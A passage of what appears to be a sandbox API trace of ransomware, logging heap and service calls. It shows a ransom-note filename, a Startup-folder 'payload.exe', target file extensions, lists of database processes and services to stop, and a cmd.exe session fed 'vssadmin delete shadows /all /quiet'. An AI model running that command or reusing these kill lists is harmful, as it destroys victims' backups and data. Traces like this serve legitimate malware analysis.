RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bda58, Size=0x800) returned 0x573af0 [0126.138] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ab430 | out: hHeap=0x510000) returned 1 [0126.138] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573938 | out: hHeap=0x510000) returned 1 [0126.138] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5738f0 | out: hHeap=0x510000) returned 1 [0126.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x573740, Size=0x20) returned 0x54ece0 [0126.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ece0, Size=0x40) returned 0x56ebd8 [0126.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56ebd8, Size=0x80) returned 0x556940 [0126.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd690, Size=0x8) returned 0x5bd720 [0126.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd720, Size=0x10) returned 0x5737a0 [0126.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5737a0, Size=0x20) returned 0x54ece0 [0126.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556940 | out: hHeap=0x510000) returned 1 [0126.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5738f0, Size=0x20) returned 0x54ec68 [0126.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ec68, Size=0x40) returned 0x56f130 [0126.139] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0126.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56f130 | out: hHeap=0x510000) returned 1 [0126.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5738f0, Size=0x20) returned 0x54eb28 [0126.139] lstrlenW (lpString="Info.hta") returned 8 [0126.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x510000) returned 1 [0126.139] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5bda58, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0126.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bda58 | out: hHeap=0x510000) returned 1 [0126.139] lstrlenW (lpString="payload.exe") returned 11 [0126.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ece0, Size=0x40) returned 0x56eb00 [0126.140] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5738f0, Size=0x20) returned 0x54ed58 [0126.140] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5738f0, Size=0x20) returned 0x54e9c0 [0126.140] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54e9c0, Size=0x40) returned 0x56f250 [0126.140] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56f250, Size=0x80) returned 0x556f18 [0126.140] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556f18, Size=0x100) returned 0x5bd1d0 [0126.140] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0126.140] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd1d0 | out: hHeap=0x510000) returned 1 [0126.140] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5bda58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0126.140] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x510000) returned 1 [0126.140] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bda58 | out: hHeap=0x510000) returned 1 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd6e0, Size=0x8) returned 0x5bd820 [0126.141] lstrlenW (lpString="%windir%;") returned 9 [0126.141] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ed58 | out: hHeap=0x510000) returned 1 [0126.141] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0126.141] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ac438 | out: hHeap=0x510000) returned 1 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5739e0, Size=0x20) returned 0x54ebc8 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ebc8, Size=0x40) returned 0x56eea8 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56eea8, Size=0x80) returned 0x5567a8 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5567a8, Size=0x100) returned 0x5bca98 [0126.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd830, Size=0x8) returned 0x5bd780 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd780, Size=0x10) returned 0x5739b0 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5739b0, Size=0x20) returned 0x54e948 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd800, Size=0x8) returned 0x5bd7c0 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd810, Size=0x8) returned 0x5bd780 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd710, Size=0x8) returned 0x5bd7a0 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd7a0, Size=0x10) returned 0x5737d0 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5737d0, Size=0x20) returned 0x54e8a8 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd7c0, Size=0x10) returned 0x574ae8 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd780, Size=0x10) returned 0x574938 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd710, Size=0x8) returned 0x5bd780 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd7c0, Size=0x8) returned 0x5bd6c0 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574ae8, Size=0x20) returned 0x54e970 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574938, Size=0x20) returned 0x54e998 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd790, Size=0x8) returned 0x5bd750 [0126.142] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0126.142] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bca98 | out: hHeap=0x510000) returned 1 [0126.142] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574b48, Size=0x20) returned 0x54ec68 [0126.142] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5ab430, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0126.142] lstrlenW (lpString="C:\\") returned 3 [0126.142] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ab430 | out: hHeap=0x510000) returned 1 [0126.143] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd840, Size=0x82) returned 0x557c40 [0126.143] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd6e0, Size=0x100) returned 0x5bc780 [0126.143] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x557c40, Size=0x104) returned 0x5bd4d8 [0126.143] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bc780, Size=0x200) returned 0x575300 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6d0 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x575300 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5749f8 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556698 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574bf0 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556500 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574b48 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd4d8 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574bd8 | out: hHeap=0x510000) returned 1 [0126.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557cd0 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574a10 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd448 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574b18 | out: hHeap=0x510000) returned 1 [0126.145] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574980, Size=0x20) returned 0x54e9c0 [0126.145] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54e9c0, Size=0x40) returned 0x56ef80 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd6b0 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ae8 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557bb0 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5749c8 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556368 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574a70 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd830 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5749b0 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525668 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526618 | out: hHeap=0x510000) returned 1 [0126.145] lstrlenW (lpString="%systemdrive%") returned 13 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ec68 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5567a8 | out: hHeap=0x510000) returned 1 [0126.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd7a0 | out: hHeap=0x510000) returned 1 [0126.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x59b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0126.146] WaitForMultipleObjects (nCount=0x2, lpHandles=0x52b448*=0x290, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0146.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b448 | out: hHeap=0x510000) returned 1 [0146.074] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0146.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5275f0 | out: hHeap=0x510000) returned 1 [0146.074] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b47d8 [0146.074] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b47d8, Size=0x20) returned 0x443de00 [0146.075] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x443de00, Size=0x40) returned 0x5b84b8 [0146.075] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b84b8, Size=0x80) returned 0x556c70 [0146.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b46b8 [0146.075] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b46b8, Size=0x20) returned 0x443de00 [0146.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1fffc) returned 0x455ff60 [0146.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0146.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57b400 [0146.076] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4868 [0146.076] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4868, Size=0x20) returned 0x443de50 [0146.076] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x443de50, Size=0x40) returned 0x5b86f8 [0146.076] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b86f8, Size=0x80) returned 0x556fa0 [0146.076] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556fa0, Size=0x100) returned 0x5bd0c8 [0146.076] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd0c8 | out: hHeap=0x510000) returned 1 [0146.076] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4425680, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0146.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0146.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0146.076] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x3b0, hWritePipe=0x19fd54*=0x338) returned 1 [0146.077] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x548, hWritePipe=0x19fdc4*=0x540) returned 1 [0146.077] SetHandleInformation (hObject=0x338, dwMask=0x1, dwFlags=0x0) returned 1 [0146.077] SetHandleInformation (hObject=0x548, dwMask=0x1, dwFlags=0x0) returned 1 [0146.077] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3b0, hStdOutput=0x540, hStdError=0x540), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x310, hThread=0x418, dwProcessId=0xf88, dwThreadId=0xf8c)) returned 1 [0146.099] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.099] WriteFile (in: hFile=0x338, lpBuffer=0x556c70*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x556c70*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0146.099] CloseHandle (hObject=0x310) returned 1 [0146.099] CloseHandle (hObject=0x418) returned 1 [0146.099] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0146.099] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.100] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556c70 | out: hHeap=0x510000) returned 1 [0146.100] lstrlenW (lpString="%comspec%") returned 9 [0146.100] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0146.100] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0146.100] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526358 | out: hHeap=0x510000) returned 1 [0146.100] ExitProcess (uExitCode=0x0) Thread: id = 30 os_tid = 0xddc Thread: id = 34 os_tid = 0xdf8 [0126.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57ad60 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ad60, Size=0x20) returned 0x54edf8 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54edf8, Size=0x40) returned 0x527ab8 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527ab8, Size=0x80) returned 0x557138 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x557138, Size=0x100) returned 0x557ac8 [0126.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57acb8 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57acb8, Size=0x20) returned 0x54eec0 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54eec0, Size=0x40) returned 0x5278c0 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5278c0, Size=0x80) returned 0x5562e0 [0126.000] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5562e0, Size=0x100) returned 0x557bd0 [0126.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57ac88 [0126.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f110 [0126.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57ac28 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f110, Size=0x8) returned 0x54f140 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x526418 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f140, Size=0x10) returned 0x57ae98 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x526098 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x54f028 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ae98, Size=0x20) returned 0x54edf8 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x54efb0 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x5262b8 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x54efd8 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57adc0 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f270 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x527518 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f270, Size=0x8) returned 0x54f2a0 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x5277e8 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f2a0, Size=0x10) returned 0x57ac40 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5262f8 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5261f8 [0126.001] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ac40, Size=0x20) returned 0x54f000 [0126.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x525518 [0126.001] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0126.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557ac8 | out: hHeap=0x510000) returned 1 [0126.001] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0126.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557bd0 | out: hHeap=0x510000) returned 1 [0126.001] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x54f050 [0126.022] EnumServicesStatusExW (in: hSCManager=0x54f050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0126.025] GetLastError () returned 0xea [0126.025] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1b4e) returned 0x56ead0 [0126.025] EnumServicesStatusExW (in: hSCManager=0x54f050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x56ead0, cbBufSize=0x1b4e, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x56ead0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0126.027] CloseServiceHandle (hSCObject=0x54f050) returned 1 [0126.029] lstrlenW (lpString="AppXSvc") returned 7 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0126.029] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0126.029] lstrlenW (lpString="Audiosrv") returned 8 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0126.029] lstrlenW (lpString="BFE") returned 3 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0126.029] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0126.029] lstrlenW (lpString="CDPSvc") returned 6 [0126.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0126.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0126.029] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0126.029] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0126.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0126.030] lstrlenW (lpString="ClickToRunSvc") returned 13 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0126.030] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0126.030] lstrlenW (lpString="CryptSvc") returned 8 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0126.030] lstrlenW (lpString="DcomLaunch") returned 10 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0126.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0126.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0126.030] lstrlenW (lpString="DeviceAssociationService") returned 24 [0126.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0126.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0126.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0126.030] 